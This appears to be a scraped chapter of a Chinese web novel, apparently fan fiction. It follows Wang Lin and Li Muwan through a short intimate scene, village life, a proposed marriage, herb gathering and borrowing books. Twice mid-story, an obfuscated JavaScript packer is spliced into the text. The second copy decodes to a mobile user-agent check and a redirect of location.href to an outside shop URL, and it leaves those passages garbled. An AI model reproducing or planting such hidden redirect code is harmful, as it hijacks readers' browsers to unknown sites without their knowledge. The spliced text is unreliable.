王林触碰到温热后,再难沉稳,“婉儿,你这些日子身体还会不适吗?” 李慕婉脸蛋烫熟了,几近埋入他脖颈,摇了摇了不作声。王林似乎得到某种允许,长袖一挥,二人瞬移到了居所,李慕婉躺在他怀里,仰头看他:“师兄,你破戒了。” 这些日子他们不常用灵气,除了维持桃林和窥视镜的阵法才会使用灵气,其他行动皆是以凡人形态生活,像这般施法瞬移,自然就算破戒了。 “嗯,不止破一次,”王林一本正经端详她,“婉儿可是要罚我?” 李慕婉扬唇浅笑,抬手剥开他衣襟,朝他肩甲处轻咬一口,“这便是罚了。” 她的举动明目张胆地挑衅他,王林唇角勾起,指尖浸入她发丝,帷幔轻飘,风一挑,肆无忌惮缠绕,唇瓣贴合间,两副渴求的躯/体似旱逢甘霖,李慕婉腰间的大掌慢慢上移,轻纱从肩头滑落。 李慕婉学着他的模样去帮他解衣,可他那身道袍子着实厚重,一层搭过一层,二人都显得格外手生,王林自觉从未这般无法自控,他也不想再压抑这份情/欲,彼此都在极度渴求中迷失原有的冷静,唇齿是生疏的碰/撞,王林索性再次施法,将二人衣物变得干净,李慕婉只觉身上一股凉意袭来,再睁眼时彼此坦诚相对。 “师,师兄……”她声音哽咽,大口吸着气,整个人无力瘫软下去,栽入他臂弯里。 王林在那轻颤的玉面上细碎点缀,唤着她:“婉儿,婉儿,我的婉儿……” 4. 寄信 王林背篓里放着些采买回来的物品,王家村周围都是林立的群山,入了村口,一片油菜花盛放,微风徐来,清香入鼻,昏暮时的余晖加深了油菜花田上的金黄,一座巨大的风车滚在水溪里,这还是李慕婉第一次这么仔细看到村头的景致,若想在王家村久待,无所事事可不成。 落日洒在面颊上,空气里芳香弥散,她声线轻柔婉约,“义兄,我瞧村子外都是群山,早间出去时,有村民背着药材是运送到镇子上销卖吗?” 王林心里还记着那两封信,明明说是寄到燕州,那么寄到京城的又是怎么回事? “义兄?”李慕婉瞧他出神,不由凑近些又唤一句。 “嗯,”王林缓神后说,“村里不少人农闲时会上山采药,这些山上有不少药用价值的药草,拿到镇上销卖,也可赚些银钱补贴家用。” 与自己猜测无异,李慕婉顿时有了想法,若是自己也能上山采药赚钱,既能给王家补贴家用,支付借住费用,还可积攒积蓄,日后寻到哥哥音信,再做打算。 李慕婉望着花田,不由感叹道:“百草开,暖阳复,遍地金,是花海,义兄,这花田可有咱们家的地?” 王林眼角撇过花田,面无表情道:“没有。” “那婉儿可以摘一支么?”李慕婉顿足,渴望着那清香传来的花卉中。 听见身后没有脚步声跟来,已经拉开距离的王林这才停下,回首时,却见夕阳下被落日眷顾的少女,素白的衣裳与花海相容,她鼻尖凑近闻,带着天真烂漫回眸笑,等着王林的答案。 王林点点头,“嗯。” 摘一些倒是无妨,村民乡里乡亲的倒也不会计较,过后打声招呼便是,于他们而言,这些油菜花极为平常不过。 得了允许,李慕婉轻快折下一支,没有贪多,很是熟稔的插入王林背篓里。 “义兄,咱们家可有耕种?”春日小道还开了许多野花。 王林见她时而蹲身,时而小跑步子,“没有。” “嗯?”李慕婉又把一撮野花塞入背篓,等着他解释。 可王林并未打算与她多说,对于李慕婉,他没有别的心思,只希望她尽早寻得兄长,早日离去。故而也不会像爹娘那般待她亲近,该有的分寸他一丝一毫都会越。 见他没有要谈的意思,李慕婉聪明不再追问,王家以木雕为生,自是没有时间下地耕种。 王林第一次觉得这村口回家的小道竟然还能走那么久,若非李慕婉采花耽搁时辰,二人早就半个时辰前就回到竹林小院了。 周英素做好饭,在院子洒扫,时不时望着围栏外,日过西山,院墙外围远处隐隐传着谈话声,大多都是李慕婉自己在说,王林偶尔应一句,李慕婉似乎已经习惯他的寡言少语。 这与她在京城时境遇倒是不同,李慕婉曾祖父曾是赵国皇宫里太医院院判,京城赫赫有名的世家,到了父亲这一辈,虽不再入宫为官,却也仰仗曾祖父的盛名,在京城以药商为生,事业风生水起。 近些年来李家经曾祖积下的人脉,做了皇商,主要收购各地名贵药材,满足皇宫药材采购之需,李家在京城远赴盛名,与世家官员走得亲近,李家兄妹自小耳濡目染。 李慕婉与兄长李奇庆得以入京城最大的百松书院受教,京城各世家子女渴望不可求的学位,可谓是洛阳纸贵。 在百松书院所见少年英才自是不少,李慕婉以独众的才藻艳逸,又霞姿月韵,闲时与兄长在京城义诊送药,民间声名鹊起,对其肃然起敬又礼让有加,不少世家公子与李奇庆交好,除了他一身正气才华斐然之外,还有一个原因。 那就是其妹李慕婉。 李慕婉受尽宠爱,家中呵护备至,却不娇气,可自永正七年后,李家因一次生意,搅进朝中党派相争,成了他人造势的棋子,父母被奸人所害,家道中落,京城原先那些好友唯恐避之不及,李家兄妹为保性命,只能前往祖籍之地燕州,另起炉灶。 天之骄女沦落乡野,她并未杞人忧天,面对冷漠的少年书生,她也不觉自降身段,反倒是觉着王林性情真实,赤子心坚,斯是陋室,不摧赤诚。 周英素听着声音越来越近,放下扫帚,推开院门,二人一前一后。 “娘。”王林卸下背篓。 周英素欣慰一笑:“回来了,快去洗手吃饭吧。” 李慕婉甜甜一笑跟着喊人:“王婶。” “婉儿姑娘的信,寄出去了?” 李慕婉从木桶舀了一瓢水,说:“寄了,多亏了义兄。” “爹。”王林背篓放入正堂,王天水抽了口烟斗,“铁柱,掌柜可有说什么?” “爹的手艺掌柜自是信得过的,”王林与父亲话题多,“他还问下一批木雕何时能送过去,过些日子会有一批外商来清平镇,到时候能卖个好价钱。” 王天水听着心悦,默默点头,又关切道:“铁柱啊,你好好温习备考,木雕生意爹自会处理。” 王林知道,虽父母不说,可错过这一次考试,确实给王家筹备多年的计划打乱,从父亲额见的皱纹瞧见了一闪而过的无奈,长木桌下少年的手暗自握拳,下一次,他一定要考个好功名。 不负爹娘期许。 王天水目光扫过墙角的背篓,背篓上堆满了花,王林察觉父亲的疑惑,解释说:“这是李姑娘采的。” 王天水笑而不语,王林叹息。 晚膳后,周英素念及李慕婉外出一日,没让她帮忙做活,李慕婉也没闲着,将采回的花规整后放入木桶,周英素不知她捣鼓什么,进进出出收拾好厨房又烧了热水。 王林在外奔走一日,与父亲闲聊后入了屋内,西厢房烛火亮起,窗支起半扇,晚风凉凉吹着屋内,烛火摇曳间,少年埋头温书。 亥时小院灯笼悬挂,正堂的烛火已经灭了,二老睡得早,西厢房内王林刚从净房出来,身上挂着中衣,外袍未着,颀长的身影落在山水画的屏风处,屏风已有年头,与简陋的屋子相得益彰,因沐浴后湿了碎发,额间发带取下,此刻他正擦拭着。 门口传来敲门声:“义兄?你睡下了吗?” 李慕婉侧耳专注屋内的声音,待了片刻,王林沉声:“何事?” 隔着门,李慕婉说:“婉儿屋里的烛火灭了,我在厨房没找到火折子,见义兄房里还亮着灯,便来问问这可有火折子。” 王林放下帕巾,李慕婉听见翻找的声音,未过多时,门开了,王林目光审视,冷漠道:“夜深了,李姑娘若无他事,莫要再来打扰。” 李慕婉缓缓结果火折子,点头应下:“多谢义兄。” 东厢房亮起光,一直过了半个时辰才灭,夜风打在院子梅树枝上,灯笼一晃一晃,竹子随风搅动,落叶悄无声息闯入王家院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正堂内,王天水投入雕刻中,周英素领了些女工活计,无事能打发时间也能补贴家用,李慕婉绣工好,搬了张矮凳在旁帮手,绣了不少花样,与周英素有说有笑。 “王婶,村里人采药是一般是什么时辰上山的呀?”李慕婉手里针线没有停,打听着情况。 “婉儿姑娘问这做什么?”周英素望向她。 “家中祖上习医,婉儿自幼识得些草药,想着借宿期间上山看看找些药材,拿到市集去卖,替家里补贴家用也成。” 周英素说:“谢三婶这几日会上山,她有一个女儿叫花影,也就是今早村口见着那个女孩。” 李慕婉回想,去村口时确实见着一女子与自己年纪相仿,编着麻花辫,娇俏可人。 “她也会去吗?”李慕婉眸子清亮。 “是的,她常跟谢三婶常上山采药,认的草药也全,你若真想去,可以跟着她们一块上山走走,”周英素言语之意是让她跟着玩儿去,并不指望能以此谋生,“你且要在这儿住上一段日子,家里就我跟孩他爹,铁柱又是男子,你们玩不来,多识得些人也不那么枯燥。” 李慕婉闻言很是暖心,“那就劳烦王婶替婉儿引荐,明日成吗?” 见她急切,周英素点头应着。 王林身影压过正堂,一股书生气绕着春风,踩着灼阳入内,屋内布置的光景让人眼前一亮,那置架上的花艺,这一看就是学过的插花手艺,富贵人家为培养女儿,自小会请花艺师傅教学,除了女工外,插花手艺也一并要学。 王林喊了一声爹娘,三人齐齐望去,他眼角留在李慕婉与母亲那头,视线却是正视着父亲身侧的位置。 5. 婚事 周英素笑说,还带了几分赞赏之意:“婉儿姑娘心灵手巧,这都是她布置的。” 王林若有所思,拿了把刻刀,又从篓子里拿过小段木头,落下一刀。 李慕婉诧异,只以为他是一介书生,有一身武艺能在歹徒手下救下她性命,居然还会木雕。 “义兄,也会木雕吗?”李慕婉微微起身,压着那张长木桌,望着王林手中的木段。 王林未理会她,二老自知儿子的性子,打小也不爱与人交谈,说不上几句,更别说是女子。 王天水道:“铁柱自幼耳濡目染,跟着老头子倒是学了点皮毛。” 那是谦虚罢了,王林虽以学业为重,木雕手艺却也比得上镇上中等匠人。 “原是如此,”李慕婉心血来潮,“王叔,我看您雕刻的都是山海经里的异兽,那能不能雕刻人像啊?” 王天水趁着谈话小憩,放了刻刀,又端起烟斗,狠狠抽了一口,吐出浓雾,才说:“自是可以,两年前京城来了一批单子,刻的都是仙人木雕,铁柱也是帮了不少忙的。” “仙人木雕?”李慕婉很是好奇,乖巧问,“那王叔可以按照婉儿的模样,给我刻一个吗,我摆放在屋里。” 静了须臾,王天水和周英素憨笑不止,王林嘴角噙着若有似无的笑意,却一直未坑声。王天水说:“那倒不是难事,只是王叔得赶制这批木雕后才能给你刻。” “不过,这事铁柱也能做,就让铁柱给你刻吧,王叔保证,他刻的不比老头子差。” “铁柱能刻。”周英素在旁附和道。 王林微怔,刻着木段冷淡道:“没有时间,我要温书。” “无碍的,义兄备考要紧,若非是为了救婉儿,义兄此刻说不定已经考得功名。”李慕婉面含愧疚,周素灵缓和道:“会试错过还有机会再考,倘若人死了却不能复生,铁柱做得对,若他见死不救,才叫爹娘心寒呢。” 这话是宽慰李慕婉,也是宽慰王林的,她不希望二人因这事郁郁寡欢,自责内疚,特别是王林。 “爹,娘,儿子明白,铁柱定不会再让你们失望。”自有李慕婉到了家中,母亲每日笑容比平日更多,四人坐在堂屋时,说说笑笑,李慕婉逗得周英素很是喜悦。 入夜后,李慕婉将火折子还回来,手里还端着插好的花,手腾不出来,西厢房的门是敞开的,王林书案上叠放了些纸张,砚台上墨迹未干,看着是刚书写完。 “义兄,帮忙。”竹筒的花挡住了李慕婉的脸,王林只瞧见娇小的身躯,立在门框前。 王林起身上前接过她手里的竹筒,李慕婉呼出一口气,衣袖擦了擦额汗。 王林问:“这是?” “婉儿看义兄房里陈设简单,哥哥以前读书时,总爱在书案上摆放些花草。”李慕婉自顾先入了屋内,抬手将火折子放回墙角处的桌台,又接过王林手里的花,审视着屋子,最后在黄花梨长桌一侧摆放一个竹筒,淡淡花香融入昏暗烛光里。 “房里放些绿植,能清心养神,义兄久坐温书,若抬眼能看见些生机,有助你消化知识。” 王林就倚在门框里,没有动,只道:“不需要。” 李慕婉坚持说:“义兄不必觉得麻烦,以后每日婉儿来给你换,这些花都是从竹林里采回来的,也不花钱,看着爽心悦目。” 书案前忙碌的身影,倒叫他不好再拒绝,“谢了。” 李慕婉清楚听见,疏离的声音覆上几分柔色,起身笑道:“义兄不必客气,若非是你带婉儿回来,婉儿现下还不知要流落到何处。” “若无他事,我要看书了。”王林欲下逐客令。 李慕婉还没有要走的意思,“义兄的书,婉儿能借看吗?” 王林余光倪着她,剑眉冷竖,又是一阵寒意。 “从前哥哥温书时,也让婉儿在身侧陪习,家里只有义兄这才有书,况且白日我要外出,必然没有时间,若义兄允许,婉儿每日晚膳后在义兄这看半个时辰书再走。” “不合适。”王林无情拒绝道。 “婉儿没有别的心思,一来是能省下些灯油,二来婉儿也不至于无事可做。” 王林动身坐回书案前,抬手在身后书架摆弄着,“你想要看什么书?” 李慕婉暗沉的眸子泛起亮,眼里失落消散,“《资治通鉴》可有?” 凡是科考此书是必学的,李慕婉自知他书架上会有,只是书案这两日摆放的都是其他书物,李慕婉才要了这本。 未过多时,王林抽出一本递过去。 李慕婉搬了矮凳,坐到他斜对面,借着光线,翻阅起来,也不多话。 青灯黄卷,虽人不同,李慕婉却又一直从前在京城与哥哥挑灯夜读的情景,一时伤愁涌上,昏黄的烛火摇曳不止,李慕婉翻页动作很轻,王林只当她是一时兴起,却不曾想一看便到了深夜,两人都很专注,谁也没留意时辰。 周英素从院子看见西厢房的灯火亮着,门却敞了,本想提醒王林夜里掩好门免得着凉,却看见李慕婉在他房里,两人安静看书,周英素浅浅一笑,回了堂屋。 亥时后,油灯几近枯竭,烛光越发昏暗,李慕婉才缓过神,起身重新添了灯油后对着王林说:“多谢义兄相借,夜深了,义兄早些歇息。” “嗯。”王林腰坐麻了,待人出去后才去掩了门。平日他看书心里会计划时辰,自知早过了半个时辰之久,见她看得专注,就未惊动李慕婉。 清晨时,王家用过早膳,周英素带着李慕婉去村里走人家,谢三婶从田地里除草刚回来。女儿花影做了早饭,招呼二人一块吃,周英素直言在家用过了,花影和谢三婶直愣愣盯着李慕婉,还一直赞不绝口夸。 “铁柱带回来的?小姑娘生得俊啊……” 李慕婉面带浅笑,谈吐大方:“谢三婶,花影姐姐,唤我婉儿就行。” “婉儿,叫我花影就好。”花影是自来熟,跟谢三婶一样热心肠。 谢三婶拉着周英素低声问:“这姑娘可是铁柱定的媳妇儿?” 这话她想问许久了,打人带回来几日,也没敢去王家问。 周英素倏然回头看了看李慕婉位置,见她与花影谈着,赶忙解释说:“好姐姐,可别乱说,人婉儿姑娘是半路遇着劫匪,又与兄长走散无处可去,我家铁柱救了人才不得已带回来,可不要到村子里乱传,免得污了人家姑娘清誉。” 谢三婶忙道好。 “你带着她来是?” 周英素讲明来意,谢三婶倒是有些意外,见她细皮嫩肉,不像是能做上山采药这种苦活的,见她脸色犹疑,周英素便知她心中所想。 “她并非娇生惯养之人,这几日家中多亏了她帮手,我才轻快许多,院里收拾得干净,还整了些花草回来养着,会过日子又懂享受,跟咱们村里人不一样。” “那她长这般好看,娇滴滴小姑娘住在里头,你家铁柱不怕被迷住了?”谢三婶打听的精气神又起。 周英素压着声:“人就是暂住,寻到家人后总是要走的,不过说起这事,先前让你帮忙打听的婚事,可有着落? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723021|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 王林入京前,周英素便想着在村里说房姑娘回来,立业家成,双喜临门,如今王林没得功名,家成立业也不是不可,总归先谈好婚事总不会错。 “有是有,不过要看铁柱喜欢才成?”谢三婶知道王林性子,挑媳妇这事儿,怕不是那么好谈。 “成,回家后我跟他说说,铁柱最是孝顺,自会听的。”周英素说,“那我先走了。” 花影给婉儿送了盆栀子花,小姐妹谈得来,周英素回的路上嘱咐道:“过两日她们才上山,你到时间跟着去就成,不过山里不好走,你不识路,得跟紧些,免得迷路了不好寻人。” “知道了,周婶。”李慕婉乖巧搀这她手臂,笑容宛若春日桃花。 周英素疑惑,而后又舒眉展颜。 她初来王家便喊的王婶,那是她还不知道自己姓什么,便只能这么喊,定然是因为今日听了花影喊周婶,这才改了口。 夜里用饭时,周英素寻思后还是说了这事。 “孩他爹,我跟谢三婶问了那事,说是能办,”周英素观测着王林的反应,“铁柱得空同我一起去见见,昂?” 王林停筷,“娘,什么事?” 李慕婉也听着,没插话。 “你今年也十八了,谢三婶说了房姑娘,让你跟人相识相识,若是相得中,今年就娶回来。”周英素想着儿子成家便满目春风。 李慕婉夹菜的筷子稍顿,有些茫然,很快又消散了。 王林话语坚决:“娘,儿子如今还没这个心思,回谢了吧,免得耽误人家姑娘。” “家成立业嘛。”王天水也顺着是,“你无需顾及太多,娶亲了也能考功名。” 王林孝顺,不想驳父母好意,低头没再说话。 之后扒了两口饭便离席了。 夜色正好,王家村舍的灯火星星点点,王林坐在树枝上望着黑夜,只能看见高悬的星辉,时有田间虫叫蝉鸣,搅乱思绪,不知在想什么。 李慕婉消食在小院外遛弯,走着走着便远了。王林望着小径的人影漫步,踢着石子沉思,也不看路。 “扑通”一声,前方的池子溅起水花,惊着垂首的李慕婉,李慕婉寻着头顶动静,隐约有个人影,黑暗里看不清,她防备后退几步。 “谁?” 王林一跃而下,定定立在她跟前,发带因风动而起,神色在月色下显得格外清朗,嗓音冷淡:“走路看路。” “义兄?”李慕婉手轻放红唇,反而松下口气。 “不知道前边有个池塘?”王林鼻梁高挺,月光照着反射光亮,鹰眸散着淡淡凉意,冷道:“夜黑风高的,掉进去了可无人能救你。” 他步子逼近,李慕婉受着压迫感,悻悻后退,温吞说:“义兄没,没在房里温书?” 星光漫在露雾里,李慕婉闻着一股淡淡的皂角香,颀长身影倍感压迫,面颊也渐起了红晕,“何时,何时也出来的?” “爹娘要我考取功名,我便一心温书钻习,爹娘要我成家,自是父母之命媒妁之言,怎么?我出来赏月透气也需同你说吗?”王林步步紧逼,眸子却是藏了一抹少年难见的逗趣,只是夜色遮住了,李慕婉看不见,也不敢看他。 被逼退的人只能抵在树上,无路可退。 “婉儿,婉儿不是这个意思……” 王林绕过她,走出几步:“夜里村子路不好走,别走太远。” 说罢回了竹林小院。 独留李慕婉沐着夜风,池子里的泥腥味伴在风里,让人不适。 6. 采药 李慕婉回到房间,在窗台前站了许久,那盆栀子花散着淡香,她神游在夜色里,对面西厢房的烛火忽明忽暗,王林身影时而在窗前闪过,时而又隐没。 李慕婉第一次与花影和谢三婶上山采药,从王家村走到山里也要一个多时辰,第一次上山的她显然有些吃不消,不过仍是咬牙跟着在山里转了一日,寻草药也要看机缘,有时运气好采得多,也会找到药用价值更高的药材。 昏暮过时,花影带着李慕婉先行回到王家村,夜间山里野兽穷出,采药的村民最晚天黑前都会下山,山里常有捕兽陷阱,若无有经验的采药人带着走,也容易中了猎人的陷阱,是以,李慕婉上山前,周英素是千叮咛万嘱咐。 日光斜过竹林,快到昏暮了,周英素在堂屋担忧念叨半晌,王天水雕刻木段,听着老婆子的唠叨,摇摇头宽慰了几句,又沉浸回手里的活。 已过昏暮,王林温书出来透气,到堂屋与二老闲谈,周英素放心不下,便吩咐道:“铁柱啊,你去村口看看,婉儿姑娘回来了没有。” 王林不以为意,并没在意,“她不是上山采药了吗,天黑前村里人都会下山的,娘无需多虑。” “她这不是头一次上山嘛,娘担心若出点事,到时候人兄长寻来,咱们该是如何交代啊。” “无需交代,”王林说,“我们家又不欠她什么,收留她这些时日,娘对她的事已经很是上心,还要如何?” “你这孩子,到底也是你带回来的,”周英素摇摇头,打量着堂屋内李慕婉重新布置的陈设,“婉儿姑娘在家里帮了许多,虽不是咱们家的人,可这几日相处下来,娘能感觉出来她是个好孩子。” “你若是不去,那娘自己去。” 见周英素要出去,王林叹息无奈制止,忙说:“娘,我去吧。” 王林沿着油菜地的主路出去,村口外道路两边海棠花比前几日又开了些。 李慕婉背着药篓子,与花影谈谈笑笑,余晖洒在二人身上,有种岁月静好的余音。 海棠斑影下,少年倚着树枝,折了枝海棠在手里转着玩儿,二人走近后,花影率先看见树下的王林,清脆唤道:“铁柱哥?你怎么在这啊。” 李慕婉闻声望去,恰逢对上王林的目光,昔日锋利的锋芒有所收敛,却还是一股生人勿近的气势。 “义兄。”李慕婉浅浅唤了人。 王林朝二人点头,也未说清来意。 花影机灵得很,打趣道:“不会是来接婉儿的吧?” 王林没有否认,只道:“我娘差我来看看,怕她走丢了,给我们家找麻烦。” 李慕婉精致的五官簇成一团,而后又展开笑颜,“我不会给义兄寻麻烦的。” “今日婉儿采了不少药,你瞧。”她转过身,将背篓对着王林,王林却只看到背篓里插满了山茶,药材倒是没见着,想来上了山,去折花去了,还谈什么采药。 见王林不作声,花影往背篓里拨弄了两下,说:“婉儿采的药在下边,被这些花挡住了,时候不早,我得早些回去做好饭等我娘回来,婉儿,铁柱哥,花影先走了。” 李慕婉与她道别后,看看王林,王林交叠的双臂垂下,将那支海棠插入她背篓里。 “走吧,我娘担心了你半晌。” “嗯。” 李慕婉转过身,与王林站得近,他这才看清她脸颊上蹭的土,像是擦过了,又没擦干净,衣裳也染了颜色,碎发贴在额间,汗涔涔的,可怜劲儿。 王林喉间微动,迈出步子,李慕婉紧跟着,今日上山花影同她讲了不少村里的事,包括王家,她这才知道,王家为王林上京赶考积攒了几年积蓄,也在外头欠了些债务,原本王家指望王林能一举功成,却不曾料想天不遂人愿。 李慕婉心中感慨,又将那些愧意藏得更深。 眼前的少年,身形颀长,光华内敛,气质斐然,又有股松风水月的书生卷气,让她想起了哥哥,也不知那信送到何处了。 “义兄,今日上山婉儿收获颇多,想来无需多久,就能攒下一批草药拿去镇上换钱,如此婉儿也能替家里分担一二,义兄全力备考就是。” “我们家不需要你的钱,”王林淡漠,“收留你也不是想要什么回报。” 夕阳将二人身影拉得越发长,李慕婉的影子融入那道长影里,她并未加紧步子,二人却渐渐并排而行。 夜幕压下时,竹林小院起了风,周英素做好饭菜,站在围栏前张望,王林身影出现,长臂压过周英素,一副母慈子孝的画面。 “娘,人回来了。” 周英素被推着走,李慕婉面带浅笑,从身后喊了一声周婶,又去将背篓的山茶和药材摆放出来,她怔了须臾,从山茶里拿出那支海棠,放在另一侧。 周英素从堂屋喊:“婉儿姑娘,快洗手吃饭了,在那放着,待会婶来给你收拾。” 李慕婉应声“好”,净手后又捧了把冷水擦面,才进的堂屋。 晚饭过后,周英素烧了热水给婉儿沐浴,王家的净房设在厨房后方,位于后院。李慕婉全身梳洗,实在是身上出了许多汗,粘腻得紧,冲完后浑身轻松,连同疲倦一并散去,这才又有了精神。 窗台下那盆栀子花旁边,新插了一支海棠,山茶一部分插放堂屋,剩余的都插放到王林的西厢房内了。 王林似乎习惯了李慕婉出入自己的屋子,不过大多时候她都是换个花,再给王林添茶水,待她忙完后又会安静坐下来一起看书,资治通鉴她看了一半,拿了王林案前的书签做好标记。 李慕婉一连半月每日都跟着采药人上山,渐渐的与村里人熟络,话也谈得开。有些大娘还总拿她打趣,要她做家里的媳妇儿,李慕婉起先是不大习惯,之后被揶揄多了,也就顺其而然。 这些人也是见她乖巧又机灵,还吃苦耐劳,心思细腻,谢三婶都常羡慕周英素,捡了半个女儿,就这么拿她取乐,李慕婉只是笑笑不反驳。 性子温和,很是招人怜爱。 期间有次倒是有惊无险,李慕婉与大队走散,在山里绕了许久,天黑前村民都回来了,唯独她没有。惊动了王家和半个村子的人上山寻,李慕婉迷失方向,误打误撞去了另一个山头,下山后到了隔壁花溪村,再沿路打听方向回到王家村。 此后周英素不让她再上山,李慕婉却坚持,为了让周英素安心,费尽口舌磨了许久,得了长辈的允许她方才又去上山。 就连平日无所事事,不学无术的王浩,听说李慕婉上山采药,他也跟着去,几人年纪相仿,边采药边谈天阔地,谁都不觉得累。 经过半月的早出晚归,竹林小院内堆放不少药材,晾晒干的草药被收回东厢房,李慕婉在廊下拾掇了空位,又拖王天水做了个木架,用来摆放药材。 每到夜间,晚风搅动时,小院一阵一阵草药味漫过,她用这些药草调和香料,做了提神香和安神香,送去堂屋和西厢房,原本入夜难寝的王天水,点了几次安神香后睡眠也好多了。 至于提神香,是特意给王林做的。 尽管每日上山长途跋涉,夜里回来后仍会坚持到王林这看书,只是她最近想寻些有关草药的书籍,奈何王林这没有,只能等改日去镇上才能买了。 李慕婉站在灯影下,残影落在书案,王林的光线被遮了半,皱眉看着墙根的人,沉声道:“你做什么?” 李慕婉点了提神香,让味道散开,慢条斯理说:“义兄,这是婉儿近些日子研制的提神香,此香能够提神清心,义兄长时间久坐书案,温书久了难免头脑涌重不清。” “不需要。”王林没有点香的习惯,一般也只有富户人家才会点香,这让王林更是猜疑她的身世。 “你这香参杂了什么,谁知道呢?”盯着书本的人头也没抬。 李慕婉原本的好意被曲解,心有委屈却不敢显露,柔声说:“若是义兄不放心,大可拿着这香去镇上药铺查问,若是婉儿动了别的心思,你再把我赶出去也不迟。” 说着,李慕婉将木盒子的香珠放到案前,等 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李慕婉视线落在长案上一角,几张杂乱的纸和书堆砌,她想着替王林收拾整齐,瞥见上边的书字,他字迹端正清晰,遒劲有力,笔意又不失清婉,她只是扫了几行,便能看出这是一篇策论。 “这是义兄写的策论吗?”李慕婉轻声问。 王林显然不想让人看,从她手中拿回随手塞入书架里,这些日子隐约有听闻燕州陷入战情,流民逃荒的传闻,便正好抒发心绪,写下这篇策论,只是李慕婉还不知燕州的战情,终日盼着兄长的回信。 “婉儿不是有意要看的,”李慕婉小心翼翼试探,“看义兄写道‘未识广厦之居,安知太牢之味,拔幽滞,举贤良,黜馋邪,进忠谠’,义兄写的是前朝状元殿试策问,婉儿说得可对?” 王林打量须臾,应了她:“嗯,你也看过这篇策论?” “看过,”李慕婉察觉不对,他好像是在窥视什么,“从前哥哥常研习这篇吴师道的殿试策问,婉儿陪习耳濡目染,故而就记下了。” “是嘛?”王林挑眉,收敛戾色。 李慕婉竟然有些心慌,这篇策问,在百松书院时,先生常拿出来讲学,每次学子们都能因政见不同而争得面红耳赤,在李慕婉看来,他们大多都只会站在官人立场谈事。 而王林写下的策论,则是真实的以百姓生灵的立场谈及,是以,李慕婉认为,若是他能顺利上京赶考,当真是可以考到功名的。而王林眼里,也逐渐对她有了改观,识药理,吃苦耐劳,性子温良,饱读诗书,爹娘喜欢她也是人之常情。 不觉间,夜已深。 “婉儿明日去找王浩问问医书的事,”李慕婉低头思索须臾,“义兄能否陪我前去,我......” “明日唤我就是。”王林爽快答应。 “那义兄早些歇息。”李慕婉欲要去灭提神香。 “点着吧,”王林说,“似有些药效。” 李慕婉喜出望外,甜甜退了出去,轻掩上门。 春雨在早间疾疾落下,竹林昨夜悉悉索索吵了半宿,李慕婉睡得不好,揉着涌重的双眼支起窗,前院墙面一排的海棠长势不错,就是落了些花碎,湿答答的瘫在泥泞里,幸好昨夜晾干的药草收放到廊下,正准备这两日市集同花影去换银钱。 王林用了她的提神香,整个人轻快许多,昨日那场雨似乎对他没有影响,少年额前碎发被风打着,发带搅在风里,朝气如松。 窗台落了几片竹叶,他长指清扫,粘了些水渍。 李慕婉隔空看见一抹身影,周英素在厨房忙碌,王林关门踏入厨房帮周英素添柴。 “娘,昨夜下雨,您的腿可还会疼?” 周英素不在意说:“老毛病了,不是很疼,儿别担心。” 周英素患有风湿,每逢下雨潮湿天气腿便泛疼,好多年了,一直无法根治。 日中后雨势渐小,棉细的雨点断断续续,直到消散,李慕婉惦记着昨夜说的事,雨一停便去敲了王林的门,王林正好看了半晌的书出去透透气。 7. 借书 李慕婉从堂屋拿了一把油纸伞,王林身量高出她大半个头,她手要提得老高才能不让他盖头,王林刚下阶便顺势从她手里拿过伞,李慕婉有些恍然,他这是嫌弃自己? “下过雨这路不大好走。”王林提醒她,雨虽停了,风却未止,稍一浮动,道路林立的树枝便会落下豆大雨点,故而出门时周英素才嘱咐带上雨伞。 李慕婉吃饭时便见周英素腿脚与平常有异,又不敢多问,直到出了竹林小院,心里寻思许久才没忍住。 “义兄,周婶的腿是怎么回事?” 王林目视前方,绕过几条小径拐过寄户人家,才能到王浩家。 “老毛病了,风湿,治不好。” “风湿?”李慕婉侧眸,看见他分明的轮廓,若有所思,曾祖父留下的手札里有关于风湿的诊治和治疗记录,李慕婉少时看过,只是后来家里查抄后,连同曾祖的手札也消失了。 “到了。”王林顿足,一处瓦舍坐落前方,周围是农田,绿油油的稻苗扫过一层一层浪潮。 李慕婉跟着停下步子,王林收起伞,右肩浅浅湿了一片,李慕婉却丝毫未粘上雨滴。 王浩端了木盆从正屋出来,院子不少花卉绿植,眼下堂叔家主要以经验花卉为生,偶尔也会行医出诊,王浩跟在身后接手生意,却总是三天打鱼两天晒网。 “铁柱哥?”眼见围墙外的王林,他急忙去开了门,又才看见身后的李慕婉,咧嘴响亮叫着人,“婉儿姑娘?” “你们这是?” 李慕婉说明来意,“义兄说堂叔这里有医书,婉儿想借来研习看看,便带我来上门拜访,不知是否方便。” “方便方便,先进来吧。”王浩领着二人入院。 堂叔外出了,堂婶在正堂做女工,听闻是王林来了,热情去煮热茶。 “铁柱啊,许久没来了,最近都在温书?”堂婶话是对着王林说的,眼神却总瞟着李慕婉那头。 “是的,堂婶。”王林接茶。 李慕婉落落大方,也接过热茶,嫣然一笑,“谢谢堂婶。” “诶,”堂婶心软化了,喜得很,“总是听王浩提起你,来了王家村这些日子,可算见着。” “若是得空,常来家里坐坐。”堂婶看她哪里都喜欢,越看越喜欢,目光炽热得叫王浩都觉过于热情了。 “娘,您别老盯着人家婉儿姑娘看啊,您这样怕是要把人吓跑了,她以后可不敢来。” 李慕婉捂嘴掩笑,“无妨的。” 李慕婉自知王林时间宝贵,能陪她过来已是抽了时间的,开门见山道:“堂婶,婉儿这次上门叨扰,是想跟您借几本医书。” “医书啊,有的有的,王浩说你对药理颇有研究,还教他认了好些药材呢,你祖上也是从医的?”堂婶随口一问。 